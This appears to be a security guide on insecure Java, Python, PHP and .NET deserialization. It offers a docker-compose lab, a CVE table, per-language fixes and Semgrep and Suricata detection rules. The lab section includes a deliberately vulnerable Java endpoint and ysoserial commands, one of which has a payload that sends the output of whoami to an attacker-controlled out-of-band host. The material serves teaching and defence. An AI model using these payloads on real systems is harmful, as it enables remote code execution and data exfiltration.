Skip to main content

Insecure Deserialization Explained: Attack Examples & Prevention

Insecure deserialization lets an attacker turn a byte stream into arbitrary code execution by abusing native deserialization features the developer did not ask for. It is CWE-502, a class of vulnerability present in Java, Python, PHP, .NET and Node.js. This guide covers the gadget-chain anatomy, a reproducible docker-compose lab, real CVEs, detection rules, and per-language fixes.

What insecure deserialization is

MITRE defines CWE-502 as the product "deserializ[ing] untrusted data without sufficiently ensuring that the resulting data will be valid." The weakness is a base-level CWE and spans all languages with native binary serialization: Java's java.io.Serializable, Python's pickle, PHP's unserialize(), .NET's BinaryFormatter, and Node.js ecosystem packages like node-serialize.

The OWASP Top 10:2021 lists Insecure Deserialization as A08:2021 Software and Data Integrity Failures, a category that also includes software supply-chain risks. The previous edition (2017) gave it its own slot as A8:2017. The 2021 placement is broader but the root cause is unchanged: the deserialization primitive accepts both data and executable code in the same stream, and no integrity boundary exists between them.

Practical consequence: you cannot block deserialization attacks with an allow-list of values or a regex. The attack surface is the deserialization method itself. The fix is either to not use native serialization with untrusted input, or to apply strict class-level allow-listing at the deserializer. Like SQL injection and server-side template injection, it is untrusted data being interpreted as code.

Anatomy: how gadget chains work

A gadget chain is a sequence of method calls that starts at a deserialization method (e.g. readObject(),unserialize(), pickle.loads()) and ends at an execution sink (Runtime.exec(),system(), eval()). The chain uses only classes that are already present on the application classpath: the attacker never deploys new code. The gadget classes are "innocent" library classes whose constructor,readObject(), or finalizer happens to call a method that the attacker can control the argument to.

  1. 1. Attacker

    Sends a crafted serialized object graph

  2. 2. Deserializer

    Instantiates the classes the stream names

  3. 3. Gadget classes

    readObject() hooks call attacker-controlled methods

  4. 4. Execution sink

    Runtime.exec() or eval() runs the attacker command

A deserialization gadget chain: attacker bytes pick the classes, existing library code does the rest.

The canonical example is the Apache Commons Collections (ACC) gadget chain discovered by FoxGlove Security in 2015. Java's InvocationTransformer class, part of commons-collections, implements a pattern that lets an attacker chain arbitrary method calls. When a serialized object containing a craftedInvocationTransformer is deserialized via ObjectInputStream.readObject(), the chain resolves to Runtime.exec() with attacker-supplied command arguments. The CVE cluster that followed (CVE-2015-4852 WebLogic, CVE-2015-7501 Apache Commons Collections, CVE-2015-8103 JBoss) established that any Java application accepting serialized objects over the network is effectively a free RCE vector.

The ysoserial tool (GitHub) packages multiple gadget chains for Java. Each chain targets a different classpath dependency: CommonsCollections1-6, Jdk7u21, JRMPClient, C3P0, URLDNS, BeanShell, and others. The attacker chooses the chain that matches the target application's known dependencies.

Serialization format identification

Before you can exploit a deserialization vulnerability, you need to identify the serialization format. Each language has tell-tale signatures:

LanguageKey classes / functionsWire signatureDetection hint
JavaObjectInputStream.readObject()Hex: AC ED 00 05
Base64: rO0
Content-Type: application/x-java-serialized-object
Pythonpickle.loads()Base64: starts with gASV
(protocol 2+) or trailing dot .
Embedded __reduce__ or cos.system in payload
PHPunserialize()Text format: O:4:"User":2:{...}Always starts with O:, a:, s:, b:, N;
.NETBinaryFormatter.Deserialize()Base64: starts with AAEAAAD/////Type metadata visible in decoded form
Node.jsnode-serialize, funcsterJSON with _$$ND_FUNC$$_ prefixeval() on deserialized function strings

Real-world CVEs

CVEProductCVSSLanguageImpact
CVE-2015-4852Oracle WebLogic7.5 (pre-2016) / 9.8 (reanalysis)JavaUnauthenticated RCE via T3 protocol deserialization; the first widespread ACC gadget-chain exploitation in the wild
CVE-2017-10271Oracle WebLogic WLS7.5JavaXMLDecoder deserialization in the WLS Security component; wormable in 2017–2018 campaigns
CVE-2024-44902ThinkPHP9.8PHPInsecure deserialization in ThinkPHP 6.1.3–8.0.4; unauthenticated RCE via gadget chain in PHP session handling
CVE-2025-8875N-able N-central9.8JavaInsecure deserialization in N-central≤2025.3.0 (authentication required); fixed in 2025.3.1
GHSA-c2jg-5cp7-6wc7Pipecat (AI pipeline)9.8PythonPickle deserialization RCE in LivekitFrameSerializer; unauthenticated remote code execution via crafted pickle payload
CVE-2026-0763GPT Academic9.8PythonPickle deserialization in GPT Academic ≤3.91; unauthenticated RCE, actively exploited, CISA KEV March 2026

Reproducible lab: Java deserialization RCE

This docker-compose lab runs a vulnerable Java Spring Boot application that deserializes user-supplied objects via ObjectInputStream.readObject(). The attack container carries ysoserial and targets a known CommonsCollections gadget chain. A hardened version of the app uses SerialKiller class allow-listing.

Project structure

deserialization-lab/
├── docker-compose.yml
├── vulnerable/
│   ├── Dockerfile
│   ├── pom.xml
│   └── src/main/java/com/deserlab/
│       └── DeserController.java
├── attacker/
│   └── Dockerfile
└── hardened/
    ├── Dockerfile
    ├── pom.xml
    └── src/main/java/com/deserlab/
        ├── DeserController.java
        └── SafeObjectInputStream.java

Vulnerable endpoint (DeserController.java)

@PostMapping("/deserialize")
public String deserialize(@RequestBody byte[] data) {
    try {
        ByteArrayInputStream bais = new ByteArrayInputStream(data);
        ObjectInputStream ois = new ObjectInputStream(bais);
        Object obj = ois.readObject();  // VULNERABLE
        ois.close();
        return "Deserialized: " + obj.getClass().getName();
    } catch (Exception e) {
        return "Error: " + e.getMessage();
    }
}

Exploit command (from attacker container)

# Generate payload (CommonsCollections1 chain, 'id' command)
java -jar ysoserial-all.jar CommonsCollections1 'id' > payload.bin

# Send to vulnerable endpoint — base64-encoded byte stream
curl -X POST http://vulnerable:8080/deserialize \
  -H "Content-Type: application/octet-stream" \
  --data-binary @payload.bin
# Response: Error: java.io.IOException: ...  (RCE already executed server-side)

# Blind RCE check (out-of-band via DNS)
java -jar ysoserial-all.jar CommonsCollections1 \
  'curl http://attacker-controlled.oastify.com/$(whoami)' > payload2.bin
curl -X POST http://vulnerable:8080/deserialize \
  -H "Content-Type: application/octet-stream" \
  --data-binary @payload2.bin

docker-compose.yml

version: '3.8'
services:
  vulnerable:
    build: ./vulnerable
    ports: ["8081:8080"]
  hardened:
    build: ./hardened
    ports: ["8082:8080"]
  attacker:
    build: ./attacker
    image: ysoserial:latest
    command: tail -f /dev/null
    depends_on: [vulnerable]

Hardened endpoint with class allow-listing

public class SafeObjectInputStream extends ObjectInputStream {
    private static final Set<String> ALLOWED = Set.of(
        "com.deserlab.UserProfile",
        "com.deserlab.AuditLog",
        "java.util.ArrayList",
        "java.util.HashMap"
    );

    public SafeObjectInputStream(InputStream in) throws IOException {
        super(in);
    }

    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc)
            throws IOException, ClassNotFoundException {
        if (!ALLOWED.contains(desc.getName())) {
            throw new InvalidClassException(
                desc.getName(), "not in allow-list");
        }
        return super.resolveClass(desc);
    }
}

// Usage in controller:
SafeObjectInputStream ois =
    new SafeObjectInputStream(bais);
Object obj = ois.readObject();

Per-language fix patterns

Java

  • Override ObjectInputStream.resolveClass() with a class allow-list (see hardened endpoint above). The SerialKiller library wraps this pattern.
  • Use a safe serialization framework: Jackson (JSON), Protocol Buffers, or Kryo with a class registration list rather than raw ObjectInputStream.
  • Never expose XMLDecoder, XStream.fromXML(), or SnakeYAML.load() to untrusted input.
  • Mark sensitive fields private transient to prevent data leakage via serialization.

Python

  • Never call pickle.loads() on untrusted data. There is no safe allow-list mechanism for pickle, because it is design-insecure with attacker-controlled input.
  • Use json.loads() for trusted data interchange. For complex objects, use a schema-based serializer like marshmallow.
  • If pickle is unavoidable (machine learning model files, Redis queue), load from a path you control, never from user uploads or HTTP request bodies.
  • Audit for pickle.load, pickle.loads, yaml.load() (use yaml.safe_load() instead), jsonpickle.decode().

PHP

  • Never pass user input directly to unserialize(). Use json_decode() / json_encode() for data interchange.
  • If you must unserialize data from a database or cache, sign it with hash_hmac() and verify the signature before deserializing.
  • PHP 7.x+ deprecated php://filter unserialize tricks. The __wakeup() and __destruct() magic methods are still the primary attack surface.
  • Configure session.serialize_handler to php_serialize (not php or php_binary) to reduce session-based deserialization attacks.

Node.js / JavaScript

  • Never use eval() or new Function() on deserialized strings. Packages like node-serialize reconstruct functions via eval() internally.
  • Use JSON for data interchange: JSON.parse() / JSON.stringify().
  • Avoid funcster, node-serialize, and serialize-javascript in user-facing endpoints.

Go

  • Go has no native binary serialization equivalent to Java serialization or Python pickle. Use encoding/json or encoding/gob with known types.
  • encoding/gob is safe when decoding into a pre-declared type (the decoder only populates fields of the target struct). Do not use interface as the decode target if the stream comes from an untrusted source.
  • Third-party packages like vmihailenco/msgpack/v5 or ugorji/go/codec with interface targets can be abused; always decode into concrete types.

Detection rules

Semgrep: Java unsafe deserialization

rules:
  - id: java-unsafe-deserialization-objectinputstream
    patterns:
      - pattern: |
          new java.io.ObjectInputStream($STREAM).readObject()
      - pattern-not: |
          new $ALLOW_LISTED_CLASS(...).readObject()
    message: |
      Direct ObjectInputStream.readObject() on untrusted data. 
      Override resolveClass() with a class allow-list or use 
      a safe serialization format.
    severity: ERROR
    languages: [java]

  - id: java-xmldecoder-deserialization
    pattern: new java.beans.XMLDecoder($INPUT).readObject()
    message: XMLDecoder deserialization allows arbitrary object 
      instantiation; use JSON or a safe XML parser.
    severity: ERROR
    languages: [java]

Semgrep: Python pickle

rules:
  - id: python-pickle-loads
    patterns:
      - pattern-either:
          - pattern: pickle.loads(...)
          - pattern: pickle.load(...)
          - pattern: yaml.load(...)
          - pattern: jsonpickle.decode(...)
    message: |
      Python pickle/yaml.load() deserialization of potentially 
      untrusted data can execute arbitrary code. Use json.loads()
      or yaml.safe_load() instead.
    severity: ERROR
    languages: [python]

Suricata: Java serialization stream detection

alert tcp any any -> any any (
  msg:"JAVA-SERIALIZATION ObjectInputStream stream detected";
  content:"|ac ed 00 05|";
  fast_pattern;
  sid:1001001; rev:1;)

alert http any any -> any any (
  msg:"JAVA-SERIALIZATION Base64-encoded stream";
  content:"rO0"; http_client_body;
  sid:1001002; rev:1;)

Detection in black-box testing

When you do not have source code access, look for serialized data in these locations:

  • Cookies: Base64-decoded values that start with AC ED 00 05 or O:...
  • Hidden form fields: Many Java frameworks store session state in a __VIEWSTATE or similar hidden field.
  • Request body: Content-Type application/x-java-serialized-object or raw byte streams.
  • URL parameters: Base64-encoded data in query strings or path segments.
  • WebSocket messages: Binary WebSocket frames beginning with the magic bytes.

The Burp Suite Java Deserialization Scanner extension automates the detection and exploitation process. It sends probes with known gadget chains and inspects responses for evidence of deserialization (timing changes, exceptions, out-of-band interactions).

Prevention decision matrix

#ControlEffectivenessVerification
1Replace native serialization with JSON or Protocol BuffersComplete: removes the attack surface entirelyNo ObjectInputStream, pickle.loads, unserialize() in codebase
2Class allow-list on deserializerHigh: blocks gadget-class injectionAllow-list is referenced; gadget-chain payload returns InvalidClassException
3Integrity check (HMAC) on serialized data, with the same key-handling rules as JWT signature verificationModerate: prevents tampering but does not prevent deserialization of attacker-signed dataHMAC key is not attacker-influenced; any modified payload rejected
4Egress filtering (network-level)Defense-in-depth: limits data exfiltration but does not prevent RCE itselfUnexpected outbound connections from app tier generate alerts
5Update libraries with known gadget chainsPartial: removes common chains but novel chains are still possibleSBOM scan confirms no known gadget-chain libraries at exploitable versions
6Code review + CI gate with SemgrepPrevention + detection: catches regressions before deployA deliberately vulnerable commit fails CI pipeline

What does not work (and why teams still try it)

  • Blocking magic bytes. Filtering AC ED 00 05 in a WAF. The payload can be Base64-encoded, chunked, wrapped in HTTP compression, or obfuscated inside a higher-level protocol. Moreover, this does nothing for PHP or Python deserialization which have different signatures.
  • Input validation on deserialized objects. Validation runs after the object is fully constructed, so the gadget chain has already executed. A __wakeup() orreadObject() override fires before any application validation code runs.
  • Using a deny-list of known dangerous classes. Novel gadget chains use classes the deny-list does not know about. An allow-list is the only complete approach because it constrains the attacker to approved classes.
  • Relying on "we do not use a framework." Gadget chains use library classes, not framework classes. The Java stdlib itself has been shown to contain usable gadgets (e.g. JDK7u21 chain uses only JDK runtime classes).
  • Assuming JSON/YAML serialization is safe. yaml.load() in Python is equivalent to pickle: it instantiates arbitrary Python objects. SnakeYAML in Java also allows arbitrary class instantiation. Use yaml.safe_load()or configure a constructor with class restrictions.

Key takeaways

  • Insecure deserialization (CWE-502) turns a byte stream into RCE via gadget chains: sequences of method calls that start at the deserializer and end at an execution sink.
  • The fix is structural: replace native serialization with safe interchange formats (JSON, Protocol Buffers), or apply a class allow-list at the deserializer (JavaresolveClass() override, Python's restricted unpickler).
  • Real CVEs confirm the pattern repeats: WebLogic (2015, 2017), ThinkPHP (2024), N-able N-central (2025), GPT Academic (2026). Each new application that exposes native deserialization to untrusted input inherits the same attack class.
  • Detect it in code (Semgrep rules for Java ObjectInputStream, Python pickle.loads) and on the wire (Suricata rules matching Java serialization magic bytes).
  • Test with the ysoserial tool and the docker-compose lab above. The hardened endpoint should reject every payload.

Frequently asked questions

What is insecure deserialization?
Insecure deserialization (CWE-502) is reconstructing objects from untrusted bytes with a native serializer: Java Serializable, Python pickle, PHP unserialize(), .NET BinaryFormatter. The byte stream chooses which classes are instantiated, so the attacker controls code paths that run during deserialization.
What is a gadget chain?
A gadget chain is a sequence of method calls through classes already on the application's classpath that starts at a deserialization hook such as readObject() and ends at an execution sink such as Runtime.exec(). The attacker ships no new code, only a crafted object graph.
Does signing serialized data with an HMAC make deserialization safe?
It stops tampering by anyone who does not hold the key, but it does not make deserializing native objects safe: if the key leaks or the attacker can get data signed, the gadget chain still runs. Prefer data-only formats such as JSON or Protocol Buffers.
How do you fix insecure deserialization?
Replace native serialization of untrusted input with a data-only format such as JSON or Protocol Buffers. Where that is impossible, enforce a strict class allowlist in the deserializer, for example a Java resolveClass() override or ObjectInputFilter, or a restricted Python unpickler.

Kokkuvõte eesti keeles

Ebaturvaline deserialiseerimine (CWE-502) on nõrkus, kus rakendus taastab kasutaja esitatud bittide järjestusest objekte, kasutades selleks keele omi seraliseerimisvorminguid (Java ObjectInputStream, Python pickle, PHP unserialize()). Ründaja saab saata spetsiaalselt koostatud jada, mis deserialiseerimisel käivitab suvalise koodi, ilma et rakendusse oleks vaja uut koodi lisada. Selleks kasutatakse vidinahelaid (gadget chains), mis koosnevad juba olemasolevatest teegiklassidest.

Tuntuimad ründed kasutavad Apache Commons Collectionsi teeki (2015. aasta WebLogic-i rünne), JDK7u21 ahelat või PHP __wakeup()imemeetodeid. Viimastel aastatel on kriitilisi haavatavusi leitud ThinkPHP-s (CVE-2024-44902, CVSS 9.8), N-able N-centralis (CVE-2025-8875, CVSS 9.8) ja GPT Academicus (CVE-2026-0763, CVSS 9.8).

Parim kaitse on vältida keele omi serialiseerimisvormingute kasutamist usaldamata sisendiga ja kasutada JSON-i või Protocol Buffersit. Kui see pole võimalik, tuleb Java-s rakendada klasside lubamise nimekirja (allow-list)resolveClass() meetodi ülekirjutamisega, Pythonis kasutada piiratud unpicklerit ja PHP-s allkirjastada andmed enne deserialiseerimist. Tuvastuskood (Semgrep) ja võrgureeglid (Suricata) aitavad vältida taandarengut. Täielik lokaalne docker-compose labor ja ründenäited on ülal inglise keeles.

Sources

Related Guides

All security guides by attack family